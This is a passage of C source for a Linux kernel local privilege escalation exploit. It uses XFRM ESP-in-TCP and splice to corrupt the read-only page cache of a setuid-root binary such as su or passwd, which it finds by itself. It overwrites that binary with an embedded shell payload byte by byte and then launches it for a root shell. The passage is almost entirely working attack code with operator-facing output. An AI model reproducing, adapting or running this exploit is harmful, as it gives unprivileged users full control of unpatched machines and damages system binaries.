		die("sender TCP_NODELAY");
	if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0)
		die("sender connect");

	memset(&prefix, 0, sizeof(prefix));
	prefix.len = htons(sizeof(prefix) + FRAG_LEN);
	store_be32(&prefix.esp[0], ESP_SPI);
	store_be32(&prefix.esp[4], p->esp_seq);
	memcpy(&prefix.esp[8], p->esp_iv, 8);

	ret = send(sock, &prefix, sizeof(prefix), 0);
	if (ret != (ssize_t)sizeof(prefix))
		die("sender send prefix");

	usleep(SENDER_PRE_SPLICE_US);

	if (pipe(pp) < 0)
		die("sender pipe");

	off = p->splice_offset;
	ret = splice(fd, &off, pp[1], NULL, FRAG_LEN, 0);
	if (ret != FRAG_LEN)
		die("sender splice file to pipe");

	ret = splice(pp[0], NULL, sock, NULL, FRAG_LEN, 0);
	if (ret < 0)
		die("sender splice pipe to tcp");

	close(pp[0]);
	close(pp[1]);
	close(sock);
	close(fd);
	_exit(ret == FRAG_LEN ? 0 : 3);
}

static int run_trigger_pair(const struct trigger_params *p)
{
	int pipefd[2], st_rx, st_tx;
	pid_t rx, tx;

	if (pipe(pipefd) < 0)
		die("pipe");

	rx = fork();
	if (rx < 0)
		die("fork receiver");
	if (rx == 0) {
		close(pipefd[0]);
		receiver_child(p, pipefd[1]);
	}

	tx = fork();
	if (tx < 0)
		die("fork sender");
	if (tx == 0) {
		close(pipefd[1]);
		sender_child(p, pipefd[0]);
	}

	close(pipefd[0]);
	close(pipefd[1]);

	if (waitpid(tx, &st_tx, 0) < 0)
		die("wait sender");
	if (waitpid(rx, &st_rx, 0) < 0)
		die("wait receiver");

	if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 ||
	    !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0)
		return -1;

	return 0;
}

/* ========================================================================
 * main.c — orchestration, LPE
 * ======================================================================== */

static char target_file_buf[PATH_MAX];
static const char *target_file;
static void *target_map = MAP_FAILED; /* MAP_SHARED page-cache view */
static int target_rfd = -1;           /* read-only fd kept open for mmap */
static char backup_path[PATH_MAX];

static unsigned char read_byte_at(const char *path, uint64_t off)
{
	/* Fast path: read directly from mmap'd page cache */
	if (target_map != MAP_FAILED)
		return ((const unsigned char *)target_map)[off];

	/* Fallback: pread */
	unsigned char b;
	int fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0) die("open read byte");
	ssize_t ret = pread(fd, &b, 1, (off_t)off);
	if (ret != 1) die("pread byte");
	close(fd);
	return b;
}

static uint64_t use_existing_target(const char *path)
{
	struct stat lst, st;

	if (lstat(path, &lst) < 0)
		die("lstat target");
	if (!S_ISREG(lst.st_mode)) {
		fprintf(stderr, "target is not a regular file\n");
		_exit(2);
	}
	if (stat(path, &st) < 0)
		die("stat target");
	if (!S_ISREG(st.st_mode)) {
		fprintf(stderr, "target is not a regular file (after symlink)\n");
		_exit(2);
	}
	if (st.st_size < FRAG_LEN) {
		fprintf(stderr, "target too small: size=%lld need>=%d\n",
			(long long)st.st_size, FRAG_LEN);
		_exit(2);
	}
	if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >=
	    (int)sizeof(target_file_buf)) {
		fprintf(stderr, "target path too long\n");
		_exit(2);
	}
	target_file = target_file_buf;
	return (uint64_t)st.st_size;
}

static void verify_write_denied(const char *label)
{
	int fd;

	errno = 0;
	fd = open(target_file, O_WRONLY | O_CLOEXEC);
	if (fd >= 0) {
		close(fd);
		fprintf(stderr,
			"GATE: %s write-open unexpectedly succeeded\n", label);
		_exit(4);
	}
	printf(C_BCYN "[*]" C_RESET " %s_write_open_denied=1 errno=%d (%s)\n",
	       label, errno, strerror(errno));
}

static int replace_existing_bytes_after(uint64_t byte_off,
					const unsigned char *desired,
					size_t desired_len,
					uint64_t file_size,
					const struct topology *topo)
{
	uint64_t last = byte_off + desired_len - 1;
	size_t idx, changed = 0, skipped = 0;
	uint32_t seq = 1;
	int max_retries = 8;

	if (desired_len == 0 || last < byte_off) {
		fprintf(stderr, "invalid range\n");
		return 2;
	}
	if (last >= file_size) {
		fprintf(stderr,
			"byte range outside target: offset=%llu len=%zu size=%llu\n",
			(unsigned long long)byte_off, desired_len,
			(unsigned long long)file_size);
		return 2;
	}
	if (last > file_size - FRAG_LEN) {
		fprintf(stderr,
			"range end must be <= size-%d: offset=%llu len=%zu size=%llu\n",
			FRAG_LEN, (unsigned long long)byte_off, desired_len,
			(unsigned long long)file_size);
		return 2;
	}

	printf(C_BCYN "[*]" C_RESET
	       " range: offset=0x%llx len=%zu last=0x%llx"
	       " enc_len=%d splice_len=%d\n",
	       (unsigned long long)byte_off, desired_len,
	       (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);

	build_stream0_table();
	printf(C_BGRN "[+]" C_RESET " stream0 table built\n");

	for (idx = 0; idx < desired_len; idx++) {
		uint64_t off = byte_off + idx;
		unsigned char current, final, need_stream;
		struct trigger_params params;
		int attempt;

		current = read_byte_at(target_file, off);

		if (current == desired[idx]) {
			printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n"
			       C_RESET,
			       idx + 1, desired_len,
			       (unsigned long long)off, current);
			skipped++;
			continue;
		}

		need_stream = current ^ desired[idx];

		for (attempt = 0; attempt < max_retries; attempt++) {
			memset(&params, 0, sizeof(params));
			params.target_file = target_file;
			params.splice_offset = (loff_t)off;
			choose_iv_for_stream0(need_stream, params.esp_iv);
			params.esp_seq = seq++;
			params.sender_pid = topo->sender_pid;
			params.receiver_pid = topo->receiver_pid;

			printf(C_BCYN "[*]" C_RESET " [%zu/%zu]"
			       " +%04llx  " C_RED "%02x" C_RESET
			       " -> " C_BGRN "%02x" C_RESET
			       "  xor=" C_CYAN "%02x" C_RESET
			       " seq=%u%s\n",
			       idx + 1, desired_len,
			       (unsigned long long)off,
			       current, desired[idx], need_stream,
			       params.esp_seq,
			       attempt ? "  (retry)" : "");

			if (run_trigger_pair(&params) < 0) {
				fprintf(stderr,
					C_BRED "[-] trigger pair failed at index=%zu\n"
					C_RESET, idx);
				return 2;
			}

			final = read_byte_at(target_file, off);

			if (final == desired[idx]) {
				printf(C_BGRN "[+]" C_RESET
				       " smashed %02x -> %02x  index=%zu"
				       " offset=+%04llx\n",
				       current, final, idx,
				       (unsigned long long)off);
				changed++;
				break;
			}
			if (final != current) {
				fprintf(stderr,
					C_BRED "[-] byte changed but mismatch"
					" index=%zu desired=%02x got=%02x\n"
					C_RESET,
					idx, desired[idx], final);
				return 1;
			}
		}
		if (attempt == max_retries) {
			fprintf(stderr,
				C_BRED "[-] byte at index=%zu unchanged after %d"
				" attempts, kernel may be fixed\n" C_RESET,
				idx, max_retries);
			return 0;
		}
	}

	printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
	for (idx = 0; idx < desired_len; idx++) {
		uint64_t off = byte_off + idx;
		unsigned char final = read_byte_at(target_file, off);

		if (final != desired[idx]) {
			fprintf(stderr,
				C_BRED "[-] verify mismatch index=%zu"
				" offset=%llu desired=%02x got=%02x\n"
				C_RESET,
				idx, (unsigned long long)off,
				desired[idx], final);
			return 1;
		}
	}

	printf(C_BCYN "[*]" C_RESET " summary: len=%zu changed="
	       C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET "\n",
	       desired_len, changed, skipped);

	if (changed == 0) {
		fprintf(stderr, "all bytes already had desired values\n");
		return 2;
	}

	printf(C_BGRN "[+]" C_RESET
	       " BUG: overwrote read-only page-cache bytes\n");
	return 1;
}

static const char *find_suid_target(void)
{
	static const char *candidates[] = {
		"/usr/bin/su", "/bin/su", "/usr/bin/mount",
		"/usr/bin/passwd", "/usr/bin/chsh", NULL
	};
	for (int i = 0; candidates[i]; i++) {
		struct stat sb;
		if (stat(candidates[i], &sb) == 0 &&
		    (sb.st_mode & S_ISUID) &&
		    sb.st_uid == 0 &&
		    sb.st_size >= FRAG_LEN &&
		    access(candidates[i], R_OK) == 0)
			return candidates[i];
	}
	return NULL;
}

static void backup_target(const char *path)
{
	const char *base = strrchr(path, '/');
	base = base ? base + 1 : path;
	snprintf(backup_path, sizeof(backup_path),
		 "/tmp/.%s_%d", base, getpid());
	int src = open(path, O_RDONLY);
	int dst = open(backup_path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
	if (src >= 0 && dst >= 0) {
		char buf[4096];
		ssize_t n;
		while ((n = read(src, buf, sizeof(buf))) > 0)
			write(dst, buf, n);
	}
	if (src >= 0) close(src);
	if (dst >= 0) close(dst);
	printf(C_BCYN "[*]" C_RESET " backup: %s\n", backup_path);
}

int main(int argc, char **argv)
{
	const char *target_path;
	uint64_t file_size;
	pid_t exploit_child;
	int status;

	setvbuf(stdout, NULL, _IONBF, 0);

	printf(C_BCYN "[*]" C_RESET
	       " uid=%d euid=%d gid=%d egid=%d\n",
	       getuid(), geteuid(), getgid(), getegid());

	/* 1. Target selection: explicit arg, or auto-discover SUID binary */
	if (argc > 1) {
		target_path = argv[1];
	} else {
		target_path = find_suid_target();
		if (!target_path) {
			fprintf(stderr,
				C_BRED "[-]" C_RESET
				" no readable setuid-root binary found\n");
			return 2;
		}
	}
	file_size = use_existing_target(target_path);
	printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n",
	       target_file, (unsigned long long)file_size);

	/* 2. Prove we cannot write */
	verify_write_denied("outer");

	/* 3. Backup the target so the root shell can restore it */
	backup_target(target_file);

	/* 4. mmap the target page cache for fast byte reads */
	target_rfd = open(target_file, O_RDONLY);
	if (target_rfd >= 0)
		target_map = mmap(NULL, file_size, PROT_READ,
				  MAP_SHARED, target_rfd, 0);

	/*
	 * 5. Fork before entering user namespace.  SUID execve only
	 *    works from the init user namespace.
	 */
	exploit_child = fork();
	if (exploit_child < 0)
		die("fork exploit child");

	if (exploit_child == 0) {
		struct topology topo;
		int ns_middle_fd, ns_fd, ret;

		if (setup_topology(&topo) < 0)
			die("setup_topology");
		printf(C_BGRN "[+]" C_RESET
		       " topology ready: sender_pid=%d receiver_pid=%d\n",
		       topo.sender_pid, topo.receiver_pid);

		ns_middle_fd = open("/proc/self/ns/net", O_RDONLY | O_CLOEXEC);
		if (ns_middle_fd < 0)
			die("save ns_middle fd");

		ns_fd = open_ns_fd(topo.receiver_pid);
		if (ns_fd < 0)
			die("open_ns_fd receiver");
		if (setns(ns_fd, CLONE_NEWNET) < 0)
			die("setns to ns_receiver");
		close(ns_fd);

		add_xfrm_espintcp_sa();
		printf(C_BGRN "[+]" C_RESET
		       " XFRM ESP-in-TCP SA installed\n");

		if (setns(ns_middle_fd, CLONE_NEWNET) < 0)
			die("setns back to ns_middle");
		close(ns_middle_fd);

		verify_write_denied("userns");

		printf(C_BCYN "[*]" C_RESET
		       " overwriting %d bytes of page cache...\n",
		       PAYLOAD_LEN);
		ret = replace_existing_bytes_after(0, SHELL_ELF, PAYLOAD_LEN,
						   file_size, &topo);
		_exit(ret);
	}

	/* parent: wait for exploit child, then launch SUID binary */
	if (waitpid(exploit_child, &status, 0) < 0)
		die("waitpid exploit child");

	if (target_map != MAP_FAILED)
		munmap(target_map, file_size);
	if (target_rfd >= 0)
		close(target_rfd);

	if (!WIFEXITED(status)) {
		fprintf(stderr, C_BRED "[-]" C_RESET
			" exploit child killed by signal %d\n",
			WIFSIGNALED(status) ? WTERMSIG(status) : -1);
		unlink(backup_path);
		return 2;
	}

	int ret = WEXITSTATUS(status);
	if (ret == 1) {
		printf(C_BGRN "[+]" C_RESET
		       " page cache corrupted, launching %s\n",
		       target_file);
		printf(C_BCYN "[*]" C_RESET
		       " restore: cp %s %s\n",
		       backup_path, target_file);
		fflush(stdout);
		execlp(target_file, target_file, (char *)NULL);
		die("execve");
	}

	unlink(backup_path);
	if (ret == 0)
		printf(C_BCYN "[*]" C_RESET
		       " kernel appears fixed (bytes unchanged)\n");
	else
		printf(C_BRED "[-]" C_RESET
		       " exploit failed (code %d)\n", ret);
	return ret;
}